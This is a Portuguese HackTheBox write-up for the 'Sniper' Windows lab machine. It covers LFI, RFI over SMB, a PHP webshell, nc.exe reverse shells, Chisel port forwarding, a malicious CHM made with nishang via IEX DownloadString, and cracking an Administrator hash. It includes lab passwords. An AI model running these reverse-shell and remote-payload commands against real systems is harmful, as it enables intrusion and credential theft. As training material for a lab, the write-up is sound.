> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md). # Relato do Sniper HackTheBox Relato do Sniper HackTheBox para máquina Windows de dificuldade média, cobrindo inclusão local de arquivo (LFI), inclusão remota de arquivo (RFI) (falhou), inclusão remota de arquivo por meio de servidor SMB (técnica net usershare) (sucesso) {% embed url="" %} {% hint style="warning" %} Habilidades: * Local File Inclusion (LFI) * Inclusão Remota de Arquivo (RFI) (Falhou) * Inclusão Remota de Arquivo via Servidor SMB (técnica net usershare) (Sucesso) * Criando uma webshell e obtendo execução remota de comandos (RCE) * Vazamento de Informações (Pivoting de Usuário) * Brincando com Chisel e ScriptBlocks usando Invoke-Command * Criando um arquivo CHM malicioso (Out-CHM.ps1) (Escalada de Privilégio) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts ```

**Análise das Portas Abertas com extractPorts:** Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência. (80,135,139,445,496,67)

**Varredura de versão das portas com Nmap:** Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted ```

### Porta 80:

**Análise com `whatweb`:** Usamos `whatweb` para identificar as tecnologias usadas pelo servidor web: {% code overflow="wrap" fullWidth="false" %} ```bash whatweb 10.10.10.151 http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1] ``` {% endcode %} ## **Vulnerabilidade LFI :** Na página de mudança de idioma, havia um `lang` parâmetro para carregar diferentes arquivos PHP de acordo com o idioma escolhido.

Testamos com um arquivo local do sistema: ```url http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts ``` * Isso nos permitiu exibir o conteúdo do `hosts` arquivo.

**Tentativas de leitura de arquivo sensível com `php://filter`:** Tentamos usar a LFI para ler o `index.php` arquivo do servidor web Microsoft IIS localizado em `/inetpub/wwwroot/index.php`, mas a operação via `php://filter` não funcionou.

```url php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php ```

### Inclusão Remota de Arquivo (RFI) (Falhou) #### Teste de RFI via servidor web remoto: Tentamos carregar um arquivo remoto via `?lang=http://10.10.14.3/index.html` URL apontando para nosso servidor web local com Python3. ```bash python3 -m http.server 80 ``` ```url ?lang=http://10.10.14.3/index.html ``` Mas não funcionou.

## Inclusão Remota de Arquivo (Servidor SMB) **Criar servidor SMB:** Criamos um servidor SMB local usando `smbserver.py` e compartilhamos o diretório atual: ```bash smbserver.py share $(pwd) -smb2support ``` Então tentamos carregar um arquivo do servidor SMB alterando o `lang` parâmetro ```bash ?lang=/10.10.14.3/share/index.html ``` * Dessa vez, o servidor interpretou corretamente nosso `index.html` arquivo, exibindo seu conteúdo ("Hello World").

**Criar um arquivo de webshell PHP (`cmd.php)`** Criamos um `cmd.php` arquivo em nosso servidor SMB para executar comandos remotos via `cmd` parâmetro: ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` /*/* Execução de comandos via SMB/*/* ```bash //10.10.14.3/share/cmd.php&cmd= ``` Usando a seguinte URL, executamos o `whoami` comando: ```bash //10.10.14.3/share/cmd.php&cmd=whoami ```

### Shell reversa (nc.exe) **Download `nc.exe` para shell reversa:**/ Recuperamos o `nc.exe` binário das ferramentas em execução em `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` e o copiamos para o diretório de trabalho. ```bash locate nc.exe cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` **Escutar na porta 443:**/ Configuramos um listener com `nc` para escutar na porta 443: ```bash rlwrap nc -nvlp 443 ``` **Execução da shell reversa via SMB:**/ Em seguida, iniciamos uma shell reversa apontando o `cmd` parâmetro para nosso arquivo ``` ?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443 ``` Assim, obtivemos uma shell reversa para nossa máquina.

## Escalada de Privilégios **Busca por arquivos sensíveis:**/ Procuramos informações sensíveis em arquivos PHP e encontramos o `db.php` arquivo contendo credenciais do banco de dados: * Usuário: `dbuser` * Senha: `36mEAhz/B8xQ~2VM`

**Validação de credenciais para outro usuário:**

Descobrimos outro usuário chamado **Chris** além do usuário **Administrador**. Usamos **CrackMapExec** para validar se `Chris` as credenciais eram válidas: ```bash crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * A conexão foi bem-sucedida.

**Verificar os privilégios do usuário "Chris":** * Observamos que o usuário `Chris` pertencia ao **Remote Management User** grupo, permitindo que ele se conectasse remotamente.

/*/* Análise das portas abertas\:/*/* A porta necessária para a conexão remota (porta 5985, usada pelo WinRM) não estava aberta externamente, mas internamente. Usamos `netstat` para verificar as portas em escuta na máquina alvo: ```bash netstat -an | findstr "LISTEN" ```

## Redirecionamento de porta (5985 WinRM) ### 1. PowerShell Iniciamos o PowerShell em nossa máquina de ataque: ```bash powershell ``` Recuperamos o nome do ambiente Windows com o comando `hostname`, e descobrimos que o nome do host era `Sniper`. ```powershell hostname ``` Então criamos uma variável para o usuário `Chris` e outra para a senha usando `ConvertTo-SecureString`: ```powershell $user = "Sniper/Chris" ``` ```powershell $password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force ``` Então criamos um `PSCredential` objeto para poder executar comandos remotos na máquina alvo: ```bash $cred = New-Object System.Management.Automation.PSCredential($user, $password) ``` **Execução de comandos remotos:**/ Usamos o seguinte comando para executar `whoami` remotamente e validar o acesso: ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami} ``` * Isso nos permitiu confirmar que estávamos conectados corretamente como **Chris**.

**Shell reversa :**/ Para obter acesso total ao sistema, configuramos um listener na porta 4444: ```bash rlwrap nc -nlvp 4444 ``` Então executamos uma shell reversa usando `nc.exe` a partir do nosso servidor SMB: {% code overflow="wrap" %} ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444 ``` {% endcode %}

### 2. Chisel {% embed url="" %} **Baixar e preparar os arquivos:**/ Baixamos os arquivos compactados **Chisel** os arquivos, a saber: * `chisel-linux` * `chisel-windows.exe` {% embed url="" %} {% embed url="" %} Após extraí-los, transferimos o **Chisel** arquivo para Windows para a máquina alvo: ```bash copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe ```

**Escutando na máquina atacante com Chisel:**/ Iniciamos **Chisel** em modo servidor na máquina atacante na porta 8888: ```bash ./chisel-linux server -p 8888 -reverse ``` Então, na máquina Windows alvo, executamos **Chisel** em modo cliente para se conectar à nossa máquina atacante e redirecionar a porta 5985 para nossa máquina: ```bash chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985 ```

**Verificação da porta redirecionada com `lsof`:**/ Verificamos que a porta 5985 estava bem redirecionada após a alteração com o comando:

**Login com WinRM:**/ Usamos **CrackMapExec** para testar a conexão via **WinRM** na porta 5985 redirecionada: ```bash crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * Obtivemos o símbolo **comprometido**, confirmando que conseguimos acessar a máquina via WinRM.

**Conexão final com Evil-WinRM:**/ Por fim, usamos **Evil-WinRM** para obter uma shell remota como **Chris**: ```bash evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` ### Flag user.txt :)

**Exploração do diretório "docs":**/ Na raiz de **Windows**, encontramos uma pasta **docs** contendo um arquivo `note.txt` arquivo com a seguinte mensagem:

> Olá Chris, > > Suas habilidades em PHP são realmente ruins. Entre em contato com a Yamitenshi para que ela lhe ensine a usá-lo, depois conserte o site porque há muitos bugs nele. Também espero que você tenha preparado a documentação da nossa nova aplicação. Coloque-a aqui quando terminar. > > Atenciosamente,/ CEO da Sniper. **Procurar documentação no sistema:**/ Procuramos a documentação mencionada pelo CEO e a encontramos no **Downloads** diretório dentro de **instructions.chm** arquivo.

### **Criação de arquivo CHM malicioso:** Depois de descobrir que o CEO queria visualizar **CHM** arquivos no **docs** diretório, buscamos na Internet como criar arquivos CHM maliciosos. {% embed url="" %} **Baixar HTML Help Tool:**/ Baixamos **HTML Help** e usamos um script PowerShell para criar um arquivo CHM malicioso * [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe) ```bash IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1') ``` Em seguida, modificamos o script para executar um comando malicioso remoto via **nc.exe**: ```bash Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop" ```

**Injeção do arquivo CHM malicioso no diretório alvo:**/ Configuramos um servidor SMB em nossa máquina de ataque para transferir o arquivo malicioso para a máquina Windows alvo: ```bash smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234 ``` /*/* Conectar ao compartilhamento SMB a partir da máquina vítima:/*/*/ A partir da máquina Windows alvo, montamos o compartilhamento SMB e copiamos o malicioso `doc.chm` arquivo: ```powershell net use x: //192.168.0.190/smbFolder /user:jordan jordan1234 copy ./doc.chm x:/doc.chm ``` **Configurando para shell reversa:**/ Iniciamos um listener em nossa máquina atacante, aguardando uma conexão de shell reversa: ```bash rlwrap nc -nlvp 443 ```

/*/* Problema encontrado:/*/*/ Embora o arquivo CHM tenha sido aberto, não recebemos uma shell reversa. No entanto, conseguimos capturar um **SMB Relay V2** em nosso servidor. Isso nos forneceu um hash de autenticação do usuário `Administrador`

#### **Quebrar o hash do Administrador:** ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `Administrator:butterfly!#1`

#### **Login como administrador:** Com as credenciais obtidas, usamos **Evil-WinRM** para conectar à máquina como administrador: ```bash evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1' ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.